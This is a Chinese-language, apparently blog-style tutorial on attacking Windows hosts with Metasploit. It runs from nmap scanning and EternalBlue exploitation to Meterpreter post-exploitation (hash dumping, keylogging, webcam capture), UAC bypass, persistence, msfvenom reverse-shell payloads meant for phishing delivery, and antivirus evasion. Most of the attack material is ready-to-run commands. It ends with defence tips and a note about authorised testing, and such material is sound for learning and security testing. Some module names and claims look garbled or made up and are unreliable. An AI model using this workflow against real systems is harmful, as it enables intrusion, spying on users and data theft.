Metasploit 攻击 Windows 实战指南与详细使用
Metasploit Framework 是一个强大的开源渗透测试工具,它包含了大量的漏洞利用模块、payloads、编码器和辅助工具,是安全专业人士进行安全评估和漏洞研究的重要武器。本指南将聚焦于使用 Metasploit 对 Windows 系统进行攻击的实战过程,从信息收集到最终的权限提升。
第一部分:Metasploit 基础概念与准备
1. Metasploit Framework 简介
- 是什么? 一个用于开发、测试和执行漏洞利用代码的框架。
- 主要组成部分:
- Exploits (漏洞利用): 用于利用系统或应用程序中存在的特定漏洞的代码。
- Payloads (载荷): 在目标系统上执行的代码,可以是反向连接 Shell(Meterpreter)、命令执行等。
- Encoders (编码器): 用于编码 payloads,以绕过一些简单的入侵检测系统 (IDS) 或杀毒软件。
- Nops (空指令): 用于填充缓冲区,确保 exploit 的正确执行。
- Auxiliary Modules (辅助模块): 用于扫描、枚举、拒绝服务攻击等非 exploit 目的的模块。
- Post-Exploitation Modules (后渗透模块): 在获得目标系统访问权限后,用于进一步信息收集、权限提升、持久化等操作的模块。
- 核心工作流程:
- 目标信息收集: 确定目标 IP 地址、操作系统、开放服务等。
- 漏洞扫描与识别: 寻找目标系统上可利用的漏洞。
- 选择并配置 Exploit: 选择合适的漏洞利用模块,并配置攻击参数。
- 选择并配置 Payload: 选择适合的 payload,并配置其连接方式。
- 执行攻击: 发送 exploit 和 payload 到目标。
- 建立会话 (Session): 如果攻击成功,将获得与目标系统的交互会话。
- 后渗透操作: 在获得会话后进行进一步操作。
2. 环境搭建
为了安全地进行实践,建议使用以下环境:
- 攻击机 (Attacker Machine):
- 操作系统: Kali Linux 是最常用的选择,它预装了 Metasploit Framework 和许多其他安全工具。也可以在 Ubuntu、Debian 等 Linux 发行版上安装。
- Metasploit 安装: Kali Linux 自带,其他系统可参考官方文档进行安装:https://www.metasploit.com/get-started/install
- 目标机 (Victim Machine):
- 操作系统: Windows 操作系统。建议使用易受攻击的旧版本 Windows(如 Windows XP, Windows 7, Windows Server 2003/2008)用于学习,它们存在许多已知且易于利用的漏洞。在现代 Windows 系统上进行测试需要更复杂的技巧来绕过各种安全机制。
- 网络配置: 攻击机和目标机需要位于同一个局域网内,或者通过路由可达。可以使用 VirtualBox, VMware 等虚拟机软件来创建隔离的测试环境,将攻击机和目标机配置在同一个 Host-only 或 NAT Network 中。
3. 常用命令与基础操作
启动 Metasploit Framework:
msfconsole
进入 msfconsole
后,您将看到一个提示符,通常是 msf6 >
。
常用命令:
help
: 显示所有可用的命令。search [keyword]
: 搜索模块,例如search windows smb
。use [module_path]
: 加载一个模块,例如use exploit/windows/smb/ms17_010_eternalblue
。show options
: 显示当前加载模块的可用选项。set [option_name] [value]
: 设置模块选项,例如set RHOSTS 192.168.1.100
。show payloads
: 显示当前 exploit 兼容的所有 payloads。set PAYLOAD [payload_name]
: 设置 payload,例如set PAYLOAD windows/meterpreter/reverse_tcp
。exploit
或run
: 执行当前配置好的 exploit。sessions
: 列出当前所有活动的会话。sessions -i [session_id]
: 进入指定 ID 的会话。back
: 返回到上一级菜单(从模块中退出)。exit
: 退出msfconsole
。
第二部分:Windows 攻击实战场景与详细步骤
我们将通过一个经典的漏洞利用场景来演示 Metasploit 的使用,例如利用 MS17-010 (EternalBlue) 漏洞。
场景:利用 MS17-010 (EternalBlue) 漏洞获取 Windows 7 的 Meterpreter 会话
MS17-010 是一个影响多个 Windows 版本的 SMB 漏洞,允许远程代码执行。
步骤 1: 信息收集 (Information Gathering)
在进行任何攻击之前,了解目标系统是至关重要的。
- 目标 IP 地址: 假设目标 Windows 7 系统的 IP 地址是
192.168.1.100
。 - 扫描目标: 使用 Nmap 来发现目标主机和开放端口。
在攻击机的终端中执行:
nmap -sV -O -p- 192.168.1.100
-sV
: 探测服务版本。-O
: 尝试检测操作系统。-p-
: 扫描所有 65535 个端口。
Nmap 的输出会告诉我们哪些端口是开放的,以及运行的服务及其版本。对于 MS17-010,我们关心的是 SMB 端口 445。
假设 Nmap 输出显示端口 445 (microsoft-ds) 是开放的,并且操作系统是 Windows 7。
步骤 2: 搜索并加载 Exploit 模块
现在我们知道目标可能存在 MS17-010 漏洞,我们可以搜索 Metasploit 中的相应模块。
msfconsole
msf6 > search eternalblue
搜索结果会显示相关的模块,其中最常用的是 exploit/windows/smb/ms17_010_eternalblue
。
msf6 > use exploit/windows/smb/ms17_010_eternalblue
步骤 3: 配置 Exploit 模块选项
加载模块后,我们需要配置必要的选项。
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
您会看到类似以下的选项:
Name | Current Setting | Required | Description |
---|---|---|---|
RHOSTS | yes | The target IP address or range | |
RPORT | 445 | yes | The target port (SMB) |
PAYLOAD | yes | The payload to use | |
LHOST | 0.0.0.0 | yes | The local IP address to listen on |
LPORT | 4444 | yes | The local port to listen on |
SMBPIECES | 10 | no | Number of SMB pieces to send (for reliability) |
THREADS | 1 | no | Number of threads to use for exploit |
VERBOSE | false | no | Enable detailed output |
WfsHost | no | The target’s Windows File Share host | |
ExitOnSession | true | no | Exit the exploit automatically after session creation |
关键选项配置:
- RHOSTS: 设置目标机的 IP 地址。
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.100
- RPORT: 保持默认的 445,除非目标 SMB 服务监听在其他端口。
- PAYLOAD: 选择一个合适的 payload。
windows/x64/meterpreter/reverse_tcp
或windows/meterpreter/reverse_http
是常用的选择。meterpreter
提供了强大的交互式 shell 功能。这里我们选择reverse_tcp
。msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
*注意:* 如果目标系统是 32 位,则需要选择 `windows/meterpreter/reverse_tcp`。您可以通过 `show payloads` 命令查看所有兼容的 payload。
- LHOST: 设置攻击机(您的 Kali Linux)的 IP 地址。确保目标机能够连接回这个 IP 地址。例如,如果您的 Kali IP 是
192.168.1.50
:msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.50
- LPORT: 设置攻击机监听的端口。默认 4444 通常是可用的,但如果您想使用其他端口,可以修改。
最后,查看所有设置是否正确:
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
步骤 4: 执行 Exploit
配置完成后,执行 exploit。
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
或者
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
Metasploit 会尝试利用漏洞。如果成功,您会看到如下输出:
[*] Started reverse TCP handler on 192.168.1.50:4444
[*] Performing SMB handshake
[*] Connecting to the target using SMB
[*] Using target: Windows 7 SP1 (64-bit)
[*] Detected SMB session 1 with session ID 1
[*] Target is vulnerable.
[*] Sending stage (197367 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.1.50:4444 -> 192.168.1.100:49171) at 2023-10-27 10:30:00 +0800
meterpreter >
此时,您已成功获得一个 Meterpreter 会话。meterpreter >
提示符表示您正在与目标系统进行交互。
步骤 5: Meterpreter 后渗透操作 (Post-Exploitation)
Meterpreter 提供了一系列强大的命令来探索和控制目标系统。
常用 Meterpreter 命令:
help
: 显示 Meterpreter 命令。sysinfo
: 显示目标系统的详细信息(操作系统版本、架构等)。getuid
: 显示当前用户 ID。pwd
: 显示当前工作目录。ls
: 列出当前目录下的文件。cd [directory]
: 切换目录。upload [local_file] [remote_path]
: 上传文件到目标。download [remote_file] [local_path]
: 下载文件到攻击机。shell
: 切换到目标系统的原生命令行 shell (cmd.exe)。ps
: 列出目标系统上的所有进程。migrate [pid]
: 将 Meterpreter 进程迁移到另一个进程(例如一个更稳定的系统进程),以避免原进程崩溃导致会话丢失。getprivs
: 尝试获取更高的用户权限。hashdump
: 尝试转储目标系统的用户密码哈希(需要管理员权限)。screenshot
: 截屏目标系统的屏幕。webcam_snap
: 使用目标系统的摄像头拍照。keyscan_start
: 开始记录键盘输入。keyscan_dump
: 显示记录的键盘输入。keyscan_stop
: 停止键盘记录。run [post_module]
: 运行 Meterpreter 脚本或后渗透模块。
示例操作:
- 查看系统信息:
meterpreter > sysinfo
- 查看当前用户:
meterpreter > getuid
如果 `getuid` 显示 `NT AUTHORITY\SYSTEM`,则您已获得最高权限。否则,您可能需要进行权限提升。
- 列出文件并下载:
meterpreter > ls meterpreter > cd C:\Users\Public meterpreter > download important_file.txt C:/Users/YourKaliUser/Desktop/
- 切换到原生 Shell:
meterpreter > shell Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>
在
cmd.exe
中操作完成后,输入exit
可以返回 Meterpreter 会话。
步骤 6: 权限提升 (Privilege Escalation)
如果当前用户权限不足以执行某些操作(例如 hashdump
),您需要进行权限提升。
- 使用 Metasploit 的 post/windows/gather/checkvm 模块: 检查是否为虚拟机。
- 使用 post/windows/gather/memory_increaser: 尝试增加进程内存以进行一些漏洞利用。
- 使用 exploit/windows/local/ 模块: Metasploit 中有很多本地提权漏洞利用模块,例如:
exploit/windows/local/bypassuac_avrf
: bypass UAC 的常用模块。exploit/windows/local/ms16_098_ செயंत
: 一个本地权限提升漏洞利用。- EternalRocks / RottenSys: 一些更复杂的提权技术,可能需要单独下载和集成。
提权流程示例(以 bypass UAC 为例):
- 搜索 bypass UAC 模块:
msf6 exploit(windows/smb/ms17_010_eternalblue) > back msf6 > search bypassuac
- 选择一个提权模块(例如
exploit/windows/local/bypassuac
或exploit/windows/local/bypassuac_injection
等):msf6 > use exploit/windows/local/bypassuac_injection
- 配置提权模块:
- SESSION: 指定要提权的 Meterpreter 会话 ID。
- TARGETSESSION: 指定提权后要使用的 payload 及其 LHOST/LPORT(通常与原 Payload 相同,或使用
reverse_meterpreter
以确保获得新的高权限会话)。msf6 exploit(windows/local/bypassuac_injection) > show options msf6 exploit(windows/local/bypassuac_injection) > set SESSION 1 msf6 exploit(windows/local/bypassuac_injection) > set TARGETSESSION 2 # 假设我们想创建一个新的 Meterpreter 会话 msf6 exploit(windows/local/bypassuac_injection) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/local/bypassuac_injection) > set LHOST 192.168.1.50 msf6 exploit(windows/local/bypassuac_injection) > set LPORT 4444
- 执行提权:
msf6 exploit(windows/local/bypassuac_injection) > exploit
如果成功,您将获得一个拥有更高权限的新 Meterpreter 会话。您可以通过 `sessions -l` 查看并使用 `sessions -i [new_session_id]` 进入。
步骤 7: 持久化 (Persistence)
为了在目标系统重启后仍能保持访问权限,可以设置持久化机制。
- 使用 Metasploit 的 post/windows/manage/enable_rdp: 启用远程桌面。
- 使用 post/windows/manage/persistence: 创建一个自动运行的 Meterpreter payload。
- 手动创建启动项、计划任务等。
使用
persistence
模块示例:- 进入 Meterpreter 会话:
msf6 > sessions -i 1
- 运行
persistence
模块:meterpreter > run persistence -U -i 5 -p 4444 -r 192.168.1.50
-U
: 使 payload 在用户登录时自动启动。-i 5
: 尝试连接 5 次,每次间隔 5 秒(可调整)。-p 4444
: 指定 Payload 使用的端口。-r 192.168.1.50
: 指定攻击机的 IP 地址。
在目标机器重启后,如果
persistence
模块成功配置了启动项,当攻击机监听的端口收到连接时,就会建立新的 Meterpreter 会话。 - 进入 Meterpreter 会话:
第三部分:其他常用攻击技术与进阶
1. 针对特定服务的攻击
- HTTP/HTTPS:
exploit/windows/http/...
(例如,针对 IIS, Apache 等 Web 服务器的漏洞) - RDP:
exploit/windows/rdp/...
(例如,某些 RDP 客户端或服务器的漏洞) - FTP, SMB, SSH:
exploit/windows/smb/...
,exploit/windows/ftp/...
,exploit/windows/ssh/...
等。 - SQL Server:
exploit/windows/mssql/...
2. 密码攻击
- Auxiliary 模块:
auxiliary/scanner/smb/smb_login
: 尝试爆破 SMB 登录密码。auxiliary/scanner/winrm/winrm_login
: 尝试爆破 WinRM 登录密码。auxiliary/scanner/rdp/ms12_020_rdp_login
: 针对某些 RDP 认证漏洞。
- Payloads: 使用
windows/gather/hashdump
获取哈希后,使用John the Ripper
或Hashcat
进行离线破解。
3. 客户端攻击 (Client-Side Attacks)
- 社会工程学:
- 生成恶意 Office 文档或 PDF: 使用
exploit/windows/fileformat/...
或exploit/windows/misc/hta_server
。 - 生成恶意 EXE 文件: 使用
msfvenom
生成后,通过钓鱼邮件或 U 盘分发。 - 监听 HTTP/HTTPS 请求: 使用
auxiliary/server/capture/http
或auxiliary/server/capture/smb
。
- 生成恶意 Office 文档或 PDF: 使用
-
生成 Payload:
msfvenom
是 Metasploit 中用于生成各种 payload 的独立工具,非常灵活。msfvenom
使用示例:# 生成一个 Windows x64 反向 TCP Meterpreter payload msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe # 生成一个反向 HTTP Meterpreter payload,支持 stager msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.1.50 LPORT=8080 -f exe -o shell_http.exe # 生成一个 DLL payload msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f dll -o shell.dll
生成 payload 后,需要将其上传到目标或诱骗用户执行。然后在
msfconsole
中启动一个监听器(Handler)来接收连接。设置监听器:
msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 192.168.1.50 msf6 exploit(multi/handler) > set LPORT 4444 msf6 exploit(multi/handler) > run
4. evasion (绕过检测)
- 编码器 (Encoders): 使用
shikata_ga_nai
等编码器对 payload 进行编码,以尝试绕过基于签名的检测。msf6 exploit(windows/smb/ms17_010_eternalblue) > show encoders msf6 exploit(windows/smb/ms17_010_eternalblue) > set Encoder x86/shikata_ga_nai
- 自定义 Payload: 使用
msfvenom
结合不同的 Encoder 和 Nops 生成更隐蔽的 payload。 - 无文件攻击 (Fileless Attacks): 使用内存注入等技术,避免在磁盘上留下可疑文件。
- 更新的漏洞利用: 使用最新发现的漏洞,这些漏洞可能尚未被安全软件识别。
- 自定义脚本: 结合 Python、PowerShell 等编写自定义的攻击脚本。
第四部分:安全防护建议
了解攻击方式的同时,也必须了解如何防御:
- 及时更新系统和应用程序补丁: 这是最重要的防御措施。
- 使用强大的防火墙和入侵检测/防御系统 (IDS/IPS)。
- 配置安全的密码策略和访问控制。
- 限制不必要的服务开放。
- 使用杀毒软件和端点检测与响应 (EDR) 解决方案。
- 进行定期的安全审计和漏洞扫描。
- 提高员工的安全意识,防范社会工程学攻击。
- 禁用或限制 SMBv1 协议。
总结
本指南提供了一个使用 Metasploit 对 Windows 系统进行攻击的实战流程,从信息收集到获得 Meterpreter 会话,再到后渗透操作和权限提升。Metasploit 的强大之处在于其模块化和灵活性,允许安全专业人员针对不同的目标和漏洞场景进行定制化攻击。
再次强调: 学习和实践这些技术是为了更好地理解安全漏洞,从而构建更强大的防御体系。请始终在获得授权的测试环境中进行操作。
评论(0)